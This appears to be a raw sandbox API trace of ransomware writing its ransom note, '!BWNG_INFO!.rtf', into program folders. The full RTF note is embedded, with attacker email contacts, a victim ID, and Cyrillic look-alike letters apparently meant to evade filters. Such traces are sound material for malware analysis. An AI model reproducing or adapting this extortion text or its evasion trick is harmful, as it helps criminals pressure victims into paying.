\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.956] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.957] CloseHandle (hObject=0x1cc) returned 1 [0033.957] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\!bwng_info!.rtf")) returned 0xffffffff [0033.957] GetLastError () returned 0x2 [0033.957] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 